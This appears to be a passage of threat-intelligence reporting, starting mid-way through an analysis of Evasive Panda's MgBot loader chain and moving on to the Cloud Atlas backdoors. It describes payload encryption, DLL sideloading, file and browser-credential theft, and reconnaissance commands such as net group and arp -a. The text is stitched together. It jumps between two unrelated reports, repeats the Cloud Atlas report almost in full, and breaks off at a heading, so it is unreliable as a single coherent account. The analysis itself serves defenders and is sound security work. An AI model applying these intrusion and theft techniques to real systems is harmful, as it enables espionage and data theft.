Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.
Secondary loader
We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.
The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.
The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.
General overview of storing payload on disk by using hybrid encryption
This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.
The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.
After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.
Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.
Decryption of the configuration in the injected MgBot implant
Victims
Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.
Attribution
The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.
Conclusion
The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.
As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.
The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.
Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. In this report, we describe the infection chain and tools that the group used in the first half of 2025, with particular focus on previously undescribed implants.
The starting point is typically a phishing email with a malicious DOC(X) attachment. When the document is opened, a malicious template is downloaded from a remote server. The document has the form of an RTF file containing an exploit for the formula editor, which downloads and executes an HTML Application (HTA) file.
Fpaylo
Malicious template with the exploit loaded by Word when opening the document
We were unable to obtain the actual RTF template with the exploit. We assume that after a successful infection of the victim, the link to this file becomes inaccessible. In the given example, the malicious RTF file containing the exploit was downloaded from the URL hxxps://securemodem[.]com?tzak.html_anacid.
Template files, like HTA files, are located on servers controlled by the group, and their downloading is limited both in time and by the IP addresses of the victims. The malicious HTA file extracts and creates several VBS files on disk that are parts of the VBShower backdoor. VBShower then downloads and installs other backdoors: PowerShower, VBCloud, and CloudAtlas.
Several implants remain the same, with insignificant changes in file names, and so on. You can find more details in our previous article on the following implants:
In this research, we’ll focus on new and updated components.
VBShower
VBShower::Backdoor
Compared to the previous version, the backdoor runs additional downloaded VB scripts in the current context, regardless of the size. A previous modification of this script checked the size of the payload, and if it exceeded 1 MB, instead of executing it in the current context, the backdoor wrote it to disk and used the wscript utility to launch it.
VBShower::Payload (1)
The script collects information about running processes, including their creation time, caption, and command line. The collected information is encrypted and sent to the C2 server by the parent script (VBShower::Backdoor) via the v_buff variable.
VBShower::Payload (1)
VBShower::Payload (2)
The script is used to install the VBCloud implant. First, it downloads a ZIP archive from the hardcoded URL and unpacks it into the %Public% directory. Then, it creates a scheduler task named “MicrosoftEdgeUpdateTask” to run the following command line:
It renames the unzipped file %Public%\Libraries\v.log to %Public%\Libraries\MicrosoftEdgeUpdate.vbs, iterates through the files in the %Public%\Libraries directory, and collects information about the filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The malware gets information about the task by executing the following command line:
The specified command line is executed, with the output redirected to the TMP file. Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).
Here is an example of the information present in the v_buff variable:
The file MicrosoftEdgeUpdate.vbs is a launcher for VBCloud, which reads the encrypted body of the backdoor from the file upgrade.mds, decrypts it, and executes it.
VBShower::Payload (2) used to install VBCloud
Almost the same script is used to install the CloudAtlas backdoor on an infected system. The script only downloads and unpacks the ZIP archive to "%LOCALAPPDATA%", and sends information about the contents of the directories "%LOCALAPPDATA%\vlc\plugins\access" and "%LOCALAPPDATA%\vlc" as output.
In this case, the file renaming operation is not applied, and there is no code for creating a scheduler task.
Here is an example of information to be sent to the C2 server:
In fact, a.xml, d.xml, and e.xml are the executable file and libraries, respectively, of VLC Media Player. The c.xml file is a malicious library used in a DLL hijacking attack, where VLC acts as a loader, and the b.xml file is an encrypted body of the CloudAtlas backdoor, read from disk by the malicious library, decrypted, and executed.
VBShower::Payload (2) used to install CloudAtlas
VBShower::Payload (3)
This script is the next component for installing CloudAtlas. It is downloaded by VBShower from the C2 server as a separate file and executed after the VBShower::Payload (2) script. The script renames the XML files unpacked by VBShower::Payload (2) from the archive to the corresponding executables and libraries, and also renames the file containing the encrypted backdoor body.
These files are copied by VBShower::Payload (3) to the following paths:
Additionally, VBShower::Payload (3) creates a scheduler task to execute the command line: "%LOCALAPPDATA%\vlc\vlc.exe". The script then iterates through the files in the "%LOCALAPPDATA%\vlc" and "%LOCALAPPDATA%\vlc\plugins\access" directories, collecting information about filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The script also retrieves information about the task by executing the following command line, with the output redirected to a TMP file:
This script is used to check access to various cloud services and executed before installing VBCloud or CloudAtlas. It consistently accesses the URLs of cloud services, and the received HTTP responses are saved to the v_buff variable for subsequent sending to the C2 server. A truncated example of the information sent to the C2 server:
This is a small script for checking the accessibility of PowerShower’s C2 from an infected system.
VBShower::Payload (7)
VBShower::Payload (8)
This script is used to install PowerShower, another backdoor known to be employed by Cloud Atlas. The script does so by performing the following steps in sequence:
Creates registry keys to make the console window appear off-screen, effectively hiding it:
Decrypts the contents of the embedded data block with XOR and saves the resulting script to the file "%APPDATA%\Adobe\p.txt". Then, renames the file "p.txt" to "AdobeMon.ps1".
Collects information about file names and sizes in the path "%APPDATA%\Adobe". Gets information about the task by executing the following command line, with the output redirected to a TMP file:
cmd.exe /c schtasks /query /v /fo LIST /tn MicrosoftAdobeUpdateTaskMachine
VBShower::Payload (8) used to install PowerShower
The decrypted PowerShell script is disguised as one of the standard modules, but at the end of the script, there is a command to launch the PowerShell interpreter with another script encoded in Base64.
Content of AdobeMon.ps1 (PowerShower)
VBShower::Payload (9)
This is a small script for collecting information about the system proxy settings.
VBShower::Payload (9)
VBCloud
On an infected system, VBCloud is represented by two files: a VB script (VBCloud::Launcher) and an encrypted main body (VBCloud::Backdoor). In the described case, the launcher is located in the file MicrosoftEdgeUpdate.vbs, and the payload — in upgrade.mds.
VBCloud::Launcher
The launcher script reads the contents of the upgrade.mds file, decodes characters delimited with “%H”, uses the RC4 stream encryption algorithm with a key built into the script to decrypt it, and transfers control to the decrypted content. It is worth noting that the implementation of RC4 uses PRGA (pseudo-random generation algorithm), which is quite rare, since most malware implementations of this algorithm skip this step.
VBCloud::Launcher
VBCloud::Backdoor
The backdoor performs several actions in a loop to eventually download and execute additional malicious scripts, as described in the previous research.
VBCloud::Payload (FileGrabber)
Unlike VBShower, which uses a global variable to save its output or a temporary file to be sent to the C2 server, each VBCloud payload communicates with the C2 server independently. One of the most commonly used payloads for the VBCloud backdoor is FileGrabber. The script exfiltrates files and documents from the target system as described before.
The FileGrabber payload has the following limitations when scanning for files:
It ignores the following paths:
Program Files
Program Files (x86)
%SystemRoot%
The file size for archiving must be between 1,000 and 3,000,000 bytes.
The file’s last modification date must be less than 30 days before the start of the scan.
Files containing the following strings in their names are ignored:
“intermediate.txt”
“FlightingLogging.txt”
“log.txt”
“thirdpartynotices”
“ThirdPartyNotices”
“easylist.txt”
“acroNGLLog.txt”
“LICENSE.txt”
“signature.txt”
“AlternateServices.txt”
“scanwia.txt”
“scantwain.txt”
“SiteSecurityServiceState.txt”
“serviceworker.txt”
“SettingsCache.txt”
“NisLog.txt”
“AppCache”
“backupTest”
Part of VBCloud::Payload (FileGrabber)
PowerShower
As mentioned above, PowerShower is installed via one of the VBShower payloads. This script launches the PowerShell interpreter with another script encoded in Base64. Running in an infinite loop, it attempts to access the C2 server to retrieve an additional payload, which is a PowerShell script twice encoded with Base64. This payload is executed in the context of the backdoor, and the execution result is sent to the C2 server via an HTTP POST request.
Decoded PowerShower script
In previous versions of PowerShower, the payload created a sapp.xtx temporary file to save its output, which was sent to the C2 server by the main body of the backdoor. No intermediate files are created anymore, and the result of execution is returned to the backdoor by a normal call to the "return" operator.
PowerShower::Payload (1)
This script was previously described as PowerShower::Payload (2). This payload is unique to each victim.
PowerShower::Payload (2)
This script is used for grabbing files with metadata from a network share.
PowerShower::Payload (2)
CloudAtlas
As described above, the CloudAtlas backdoor is installed via VBShower from a downloaded archive delivered through a DLL hijacking attack. The legitimate VLC application acts as a loader, accompanied by a malicious library that reads the encrypted payload from the file and transfers control to it. The malicious DLL is located at "%LOCALAPPDATA%\vlc\plugins\access", while the file with the encrypted payload is located at "%LOCALAPPDATA%\vlc\".
When the malicious DLL gains control, it first extracts another DLL from itself, places it in the memory of the current process, and transfers control to it. The unpacked DLL uses a byte-by-byte XOR operation to decrypt the block with the loader configuration. The encrypted config immediately follows the key. The config specifies the name of the event that is created to prevent a duplicate payload launch. The config also contains the name of the file where the encrypted payload is located — "chambranle" in this case — and the decryption key itself.
Encrypted and decrypted loader configuration
The library reads the contents of the "chambranle" file with the payload, uses the key from the decrypted config and the IV located at the very end of the "chambranle" file to decrypt it with AES-256-CBC. The decrypted file is another DLL with its size and SHA-1 hash embedded at the end, added to verify that the DLL is decrypted correctly. The DLL decrypted from "chambranle" is the main body of the CloudAtlas backdoor, and control is transferred to it via one of the exported functions, specifically the one with ordinal 2.
Main routine that processes the payload file
When the main body of the backdoor gains control, the first thing it does is decrypt its own configuration. Decryption is done in a similar way, using AES-256-CBC. The key for AES-256 is located before the configuration, and the IV is located right after it. The most useful information in the configuration file includes the URL of the cloud service, paths to directories for receiving payloads and unloading results, and credentials for the cloud service.
Encrypted and decrypted CloudAtlas backdoor config
Immediately after decrypting the configuration, the backdoor starts interacting with the C2 server, which is a cloud service, via WebDAV. First, the backdoor uses the MKCOL HTTP method to create two directories: one ("/guessed/intershop/Euskalduns/") will regularly receive a beacon in the form of an encrypted file containing information about the system, time, user name, current command line, and volume information. The other directory ("/cancrenate/speciesists/") is used to retrieve payloads. The beacon file and payload files are AES-256-CBC encrypted with the key that was used for backdoor configuration decryption.
HTTP requests of the CloudAtlas backdoor
The backdoor uses the HTTP PROPFIND method to retrieve the list of files. Each of these files will be subsequently downloaded, deleted from the cloud service, decrypted, and executed.
HTTP requests from the CloudAtlas backdoor
The payload consists of data with a binary block containing a command number and arguments at the beginning, followed by an executable plugin in the form of a DLL. The structure of the arguments depends on the type of command. After the plugin is loaded into memory and configured, the backdoor calls the exported function with ordinal 1, passing several arguments: a pointer to the backdoor function that implements sending files to the cloud service, a pointer to the decrypted backdoor configuration, and a pointer to the binary block with the command and arguments from the beginning of the payload.
Plugin setup and execution routine
Before calling the plugin function, the backdoor saves the path to the current directory and restores it after the function is executed. Additionally, after execution, the plugin is removed from memory.
CloudAtlas::Plugin (FileGrabber)
FileGrabber is the most commonly used plugin. As the name suggests, it is designed to steal files from an infected system. Depending on the command block transmitted, it is capable of:
Stealing files from all local disks
Stealing files from the specified removable media
Stealing files from specified folders
Using the selected username and password from the command block to mount network resources and then steal files from them
For each detected file, a series of rules are generated based on the conditions passed within the command block, including:
Checking for minimum and maximum file size
Checking the file’s last modification time
Checking the file path for pattern exclusions. If a string pattern is found in the full path to a file, the file is ignored
Checking the file name or extension against a list of patterns
Resource scanning
If all conditions match, the file is sent to the C2 server, along with its metadata, including attributes, creation time, last access time, last modification time, size, full path to the file, and SHA-1 of the file contents. Additionally, if a special flag is set in one of the rule fields, the file will be deleted after a copy is sent to the C2 server. There is also a limit on the total amount of data sent, and if this limit is exceeded, scanning of the resource stops.
Generating data for sending to C2
CloudAtlas::Plugin (Common)
This is a general-purpose plugin, which parses the transferred block, splits it into commands, and executes them. Each command has its own ID, ranging from 0 to 6. The list of commands is presented below.
Command ID 0: Creates, sets and closes named events.
Command ID 1: Deletes the selected list of files.
Command ID 2: Drops a file on disk with content and a path selected in the command block arguments.
Command ID 3: Capable of performing several operations together or independently, including:
Dropping several files on disk with content and paths selected in the command block arguments
Dropping and executing a file at a specified path with selected parameters. This operation supports three types of launch:
Using the WinExec function
Using the ShellExecuteW function
Using the CreateProcessWithLogonW function, which requires that the user’s credentials be passed within the command block to launch the process on their behalf
Command ID 4: Uses the StdRegProv COM interface to perform registry manipulations, supporting key creation, value deletion, and value setting (both DWORD and string values).
Command ID 5: Calls the ExitProcess function.
Command ID 6: Uses the credentials passed within the command block to connect a network resource, drops a file to the remote resource under the name specified within the command block, creates and runs a VB script on the local system to execute the dropped file on the remote system. The VB script is created at "%APPDATA%\ntsystmp.vbs". The path to launch the file dropped on the remote system is passed to the launched VB script as an argument.
Content of the dropped VBS
CloudAtlas::Plugin (PasswordStealer)
This plugin is used to steal cookies and credentials from browsers. This is an extended version of the Common Plugin, which is used for more specific purposes. It can also drop, launch, and delete files, but its primary function is to drop files belonging to the “Chrome App-Bound Encryption Decryption” open-source project onto the disk, and run the utility to steal cookies and passwords from Chromium-based browsers. After launching the utility, several files ("cookies.txt" and "passwords.txt") containing the extracted browser data are created on disk. The plugin then reads JSON data from the selected files, parses the data, and sends the extracted information to the C2 server.
Part of the function for parsing JSON and sending the extracted data to C2
CloudAtlas::Plugin (InfoCollector)
This plugin is used to collect information about the infected system. The list of commands is presented below.
Command ID 0xFFFFFFF0: Collects the computer’s NetBIOS name and domain information.
Command ID 0xFFFFFFF1: Gets a list of processes, including full paths to executable files of processes, and a list of modules (DLLs) loaded into each process.
Command ID 0xFFFFFFF2: Collects information about installed products.
Command ID 0xFFFFFFF3: Collects device information.
Command ID 0xFFFFFFF4: Collects information about logical drives.
Command ID 0xFFFFFFF5: Executes the command with input/output redirection, and sends the output to the C2 server. If the command line for execution is not specified, it sequentially launches the following utilities and sends their output to the C2 server:
net group "Exchange servers" /domain
Ipconfig
arp -a
Python script
As mentioned in one of our previous reports, Cloud Atlas uses a custom Python script named get_browser_pass.py to extract saved credentials from browsers on infected systems. If the Python interpreter is not present on the victim’s machine, the group delivers an archive that includes both the script and a bundled Python interpreter to ensure execution.
During one of the latest incidents we investigated, we once again observed traces of this tool in action, specifically the presence of the file "C:\ProgramData\py\pytest.dll".
The pytest.dll library is called from within get_browser_pass.py and used to extract credentials from Yandex Browser. The data is then saved locally to a file named y3.txt.
Victims
According to our telemetry, the identified targets of the malicious activities described here are located in Russia and Belarus, with observed activity dating back to the beginning of 2025. The industries being targeted are diverse, encompassing organizations in the telecommunications sector, construction, government entities, and plants.
Conclusion
For more than ten years, the group has carried on its activities and expanded its arsenal. Now the attackers have four implants at their disposal (PowerShower, VBShower, VBCloud, CloudAtlas), each of them a full-fledged backdoor. Most of the functionality in the backdoors is duplicated, but some payloads provide various exclusive capabilities. The use of cloud services to manage backdoors is a distinctive feature of the group, and it has proven itself in various attacks.
Indicators of compromise
Note: The indicators in this section are valid at the time of publication.
Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. In this report, we describe the infection chain and tools that the group used in the first half of 2025, with particular focus on previously undescribed implants.
The starting point is typically a phishing email with a malicious DOC(X) attachment. When the document is opened, a malicious template is downloaded from a remote server. The document has the form of an RTF file containing an exploit for the formula editor, which downloads and executes an HTML Application (HTA) file.
Fpaylo
Malicious template with the exploit loaded by Word when opening the document
We were unable to obtain the actual RTF template with the exploit. We assume that after a successful infection of the victim, the link to this file becomes inaccessible. In the given example, the malicious RTF file containing the exploit was downloaded from the URL hxxps://securemodem[.]com?tzak.html_anacid.
Template files, like HTA files, are located on servers controlled by the group, and their downloading is limited both in time and by the IP addresses of the victims. The malicious HTA file extracts and creates several VBS files on disk that are parts of the VBShower backdoor. VBShower then downloads and installs other backdoors: PowerShower, VBCloud, and CloudAtlas.
Several implants remain the same, with insignificant changes in file names, and so on. You can find more details in our previous article on the following implants:
In this research, we’ll focus on new and updated components.
VBShower
VBShower::Backdoor
Compared to the previous version, the backdoor runs additional downloaded VB scripts in the current context, regardless of the size. A previous modification of this script checked the size of the payload, and if it exceeded 1 MB, instead of executing it in the current context, the backdoor wrote it to disk and used the wscript utility to launch it.
VBShower::Payload (1)
The script collects information about running processes, including their creation time, caption, and command line. The collected information is encrypted and sent to the C2 server by the parent script (VBShower::Backdoor) via the v_buff variable.
VBShower::Payload (1)
VBShower::Payload (2)
The script is used to install the VBCloud implant. First, it downloads a ZIP archive from the hardcoded URL and unpacks it into the %Public% directory. Then, it creates a scheduler task named “MicrosoftEdgeUpdateTask” to run the following command line:
It renames the unzipped file %Public%\Libraries\v.log to %Public%\Libraries\MicrosoftEdgeUpdate.vbs, iterates through the files in the %Public%\Libraries directory, and collects information about the filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The malware gets information about the task by executing the following command line:
The specified command line is executed, with the output redirected to the TMP file. Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).
Here is an example of the information present in the v_buff variable:
The file MicrosoftEdgeUpdate.vbs is a launcher for VBCloud, which reads the encrypted body of the backdoor from the file upgrade.mds, decrypts it, and executes it.
VBShower::Payload (2) used to install VBCloud
Almost the same script is used to install the CloudAtlas backdoor on an infected system. The script only downloads and unpacks the ZIP archive to "%LOCALAPPDATA%", and sends information about the contents of the directories "%LOCALAPPDATA%\vlc\plugins\access" and "%LOCALAPPDATA%\vlc" as output.
In this case, the file renaming operation is not applied, and there is no code for creating a scheduler task.
Here is an example of information to be sent to the C2 server:
In fact, a.xml, d.xml, and e.xml are the executable file and libraries, respectively, of VLC Media Player. The c.xml file is a malicious library used in a DLL hijacking attack, where VLC acts as a loader, and the b.xml file is an encrypted body of the CloudAtlas backdoor, read from disk by the malicious library, decrypted, and executed.
VBShower::Payload (2) used to install CloudAtlas
VBShower::Payload (3)
This script is the next component for installing CloudAtlas. It is downloaded by VBShower from the C2 server as a separate file and executed after the VBShower::Payload (2) script. The script renames the XML files unpacked by VBShower::Payload (2) from the archive to the corresponding executables and libraries, and also renames the file containing the encrypted backdoor body.
These files are copied by VBShower::Payload (3) to the following paths:
Additionally, VBShower::Payload (3) creates a scheduler task to execute the command line: "%LOCALAPPDATA%\vlc\vlc.exe". The script then iterates through the files in the "%LOCALAPPDATA%\vlc" and "%LOCALAPPDATA%\vlc\plugins\access" directories, collecting information about filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The script also retrieves information about the task by executing the following command line, with the output redirected to a TMP file:
This script is used to check access to various cloud services and executed before installing VBCloud or CloudAtlas. It consistently accesses the URLs of cloud services, and the received HTTP responses are saved to the v_buff variable for subsequent sending to the C2 server. A truncated example of the information sent to the C2 server:
This is a small script for checking the accessibility of PowerShower’s C2 from an infected system.
VBShower::Payload (7)
VBShower::Payload (8)
This script is used to install PowerShower, another backdoor known to be employed by Cloud Atlas. The script does so by performing the following steps in sequence:
Creates registry keys to make the console window appear off-screen, effectively hiding it:
Decrypts the contents of the embedded data block with XOR and saves the resulting script to the file "%APPDATA%\Adobe\p.txt". Then, renames the file "p.txt" to "AdobeMon.ps1".
Collects information about file names and sizes in the path "%APPDATA%\Adobe". Gets information about the task by executing the following command line, with the output redirected to a TMP file:
cmd.exe /c schtasks /query /v /fo LIST /tn MicrosoftAdobeUpdateTaskMachine
VBShower::Payload (8) used to install PowerShower
The decrypted PowerShell script is disguised as one of the standard modules, but at the end of the script, there is a command to launch the PowerShell interpreter with another script encoded in Base64.
Content of AdobeMon.ps1 (PowerShower)
VBShower::Payload (9)
This is a small script for collecting information about the system proxy settings.
VBShower::Payload (9)
VBCloud
On an infected system, VBCloud is represented by two files: a VB script (VBCloud::Launcher) and an encrypted main body (VBCloud::Backdoor). In the described case, the launcher is located in the file MicrosoftEdgeUpdate.vbs, and the payload — in upgrade.mds.
VBCloud::Launcher
The launcher script reads the contents of the upgrade.mds file, decodes characters delimited with “%H”, uses the RC4 stream encryption algorithm with a key built into the script to decrypt it, and transfers control to the decrypted content. It is worth noting that the implementation of RC4 uses PRGA (pseudo-random generation algorithm), which is quite rare, since most malware implementations of this algorithm skip this step.
VBCloud::Launcher
VBCloud::Backdoor
The backdoor performs several actions in a loop to eventually download and execute additional malicious scripts, as described in the previous research.
VBCloud::Payload (FileGrabber)
Unlike VBShower, which uses a global variable to save its output or a temporary file to be sent to the C2 server, each VBCloud payload communicates with the C2 server independently. One of the most commonly used payloads for the VBCloud backdoor is FileGrabber. The script exfiltrates files and documents from the target system as described before.
The FileGrabber payload has the following limitations when scanning for files:
It ignores the following paths:
Program Files
Program Files (x86)
%SystemRoot%
The file size for archiving must be between 1,000 and 3,000,000 bytes.
The file’s last modification date must be less than 30 days before the start of the scan.
Files containing the following strings in their names are ignored:
“intermediate.txt”
“FlightingLogging.txt”
“log.txt”
“thirdpartynotices”
“ThirdPartyNotices”
“easylist.txt”
“acroNGLLog.txt”
“LICENSE.txt”
“signature.txt”
“AlternateServices.txt”
“scanwia.txt”
“scantwain.txt”
“SiteSecurityServiceState.txt”
“serviceworker.txt”
“SettingsCache.txt”
“NisLog.txt”
“AppCache”
“backupTest”
Part of VBCloud::Payload (FileGrabber)
PowerShower
As mentioned above, PowerShower is installed via one of the VBShower payloads. This script launches the PowerShell interpreter with another script encoded in Base64. Running in an infinite loop, it attempts to access the C2 server to retrieve an additional payload, which is a PowerShell script twice encoded with Base64. This payload is executed in the context of the backdoor, and the execution result is sent to the C2 server via an HTTP POST request.
Decoded PowerShower script
In previous versions of PowerShower, the payload created a sapp.xtx temporary file to save its output, which was sent to the C2 server by the main body of the backdoor. No intermediate files are created anymore, and the result of execution is returned to the backdoor by a normal call to the "return" operator.
PowerShower::Payload (1)
This script was previously described as PowerShower::Payload (2). This payload is unique to each victim.
PowerShower::Payload (2)
This script is used for grabbing files with metadata from a network share.
PowerShower::Payload (2)
CloudAtlas
As described above, the CloudAtlas backdoor is installed via VBShower from a downloaded archive delivered through a DLL hijacking attack. The legitimate VLC application acts as a loader, accompanied by a malicious library that reads the encrypted payload from the file and transfers control to it. The malicious DLL is located at "%LOCALAPPDATA%\vlc\plugins\access", while the file with the encrypted payload is located at "%LOCALAPPDATA%\vlc\".
When the malicious DLL gains control, it first extracts another DLL from itself, places it in the memory of the current process, and transfers control to it. The unpacked DLL uses a byte-by-byte XOR operation to decrypt the block with the loader configuration. The encrypted config immediately follows the key. The config specifies the name of the event that is created to prevent a duplicate payload launch. The config also contains the name of the file where the encrypted payload is located — "chambranle" in this case — and the decryption key itself.
Encrypted and decrypted loader configuration
The library reads the contents of the "chambranle" file with the payload, uses the key from the decrypted config and the IV located at the very end of the "chambranle" file to decrypt it with AES-256-CBC. The decrypted file is another DLL with its size and SHA-1 hash embedded at the end, added to verify that the DLL is decrypted correctly. The DLL decrypted from "chambranle" is the main body of the CloudAtlas backdoor, and control is transferred to it via one of the exported functions, specifically the one with ordinal 2.
Main routine that processes the payload file
When the main body of the backdoor gains control, the first thing it does is decrypt its own configuration. Decryption is done in a similar way, using AES-256-CBC. The key for AES-256 is located before the configuration, and the IV is located right after it. The most useful information in the configuration file includes the URL of the cloud service, paths to directories for receiving payloads and unloading results, and credentials for the cloud service.
Encrypted and decrypted CloudAtlas backdoor config
Immediately after decrypting the configuration, the backdoor starts interacting with the C2 server, which is a cloud service, via WebDAV. First, the backdoor uses the MKCOL HTTP method to create two directories: one ("/guessed/intershop/Euskalduns/") will regularly receive a beacon in the form of an encrypted file containing information about the system, time, user name, current command line, and volume information. The other directory ("/cancrenate/speciesists/") is used to retrieve payloads. The beacon file and payload files are AES-256-CBC encrypted with the key that was used for backdoor configuration decryption.
HTTP requests of the CloudAtlas backdoor
The backdoor uses the HTTP PROPFIND method to retrieve the list of files. Each of these files will be subsequently downloaded, deleted from the cloud service, decrypted, and executed.
HTTP requests from the CloudAtlas backdoor
The payload consists of data with a binary block containing a command number and arguments at the beginning, followed by an executable plugin in the form of a DLL. The structure of the arguments depends on the type of command. After the plugin is loaded into memory and configured, the backdoor calls the exported function with ordinal 1, passing several arguments: a pointer to the backdoor function that implements sending files to the cloud service, a pointer to the decrypted backdoor configuration, and a pointer to the binary block with the command and arguments from the beginning of the payload.
Plugin setup and execution routine
Before calling the plugin function, the backdoor saves the path to the current directory and restores it after the function is executed. Additionally, after execution, the plugin is removed from memory.
CloudAtlas::Plugin (FileGrabber)
FileGrabber is the most commonly used plugin. As the name suggests, it is designed to steal files from an infected system. Depending on the command block transmitted, it is capable of:
Stealing files from all local disks
Stealing files from the specified removable media
Stealing files from specified folders
Using the selected username and password from the command block to mount network resources and then steal files from them
For each detected file, a series of rules are generated based on the conditions passed within the command block, including:
Checking for minimum and maximum file size
Checking the file’s last modification time
Checking the file path for pattern exclusions. If a string pattern is found in the full path to a file, the file is ignored
Checking the file name or extension against a list of patterns
Resource scanning
If all conditions match, the file is sent to the C2 server, along with its metadata, including attributes, creation time, last access time, last modification time, size, full path to the file, and SHA-1 of the file contents. Additionally, if a special flag is set in one of the rule fields, the file will be deleted after a copy is sent to the C2 server. There is also a limit on the total amount of data sent, and if this limit is exceeded, scanning of the resource stops.
Generating data for sending to C2
CloudAtlas::Plugin (Common)
This is a general-purpose plugin, which parses the transferred block, splits it into commands, and executes them. Each command has its own ID, ranging from 0 to 6. The list of commands is presented below.
Command ID 0: Creates, sets and closes named events.
Command ID 1: Deletes the selected list of files.
Command ID 2: Drops a file on disk with content and a path selected in the command block arguments.
Command ID 3: Capable of performing several operations together or independently, including:
Dropping several files on disk with content and paths selected in the command block arguments
Dropping and executing a file at a specified path with selected parameters. This operation supports three types of launch:
Using the WinExec function
Using the ShellExecuteW function
Using the CreateProcessWithLogonW function, which requires that the user’s credentials be passed within the command block to launch the process on their behalf
Command ID 4: Uses the StdRegProv COM interface to perform registry manipulations, supporting key creation, value deletion, and value setting (both DWORD and string values).
Command ID 5: Calls the ExitProcess function.
Command ID 6: Uses the credentials passed within the command block to connect a network resource, drops a file to the remote resource under the name specified within the command block, creates and runs a VB script on the local system to execute the dropped file on the remote system. The VB script is created at "%APPDATA%\ntsystmp.vbs". The path to launch the file dropped on the remote system is passed to the launched VB script as an argument.
Content of the dropped VBS
CloudAtlas::Plugin (PasswordStealer)
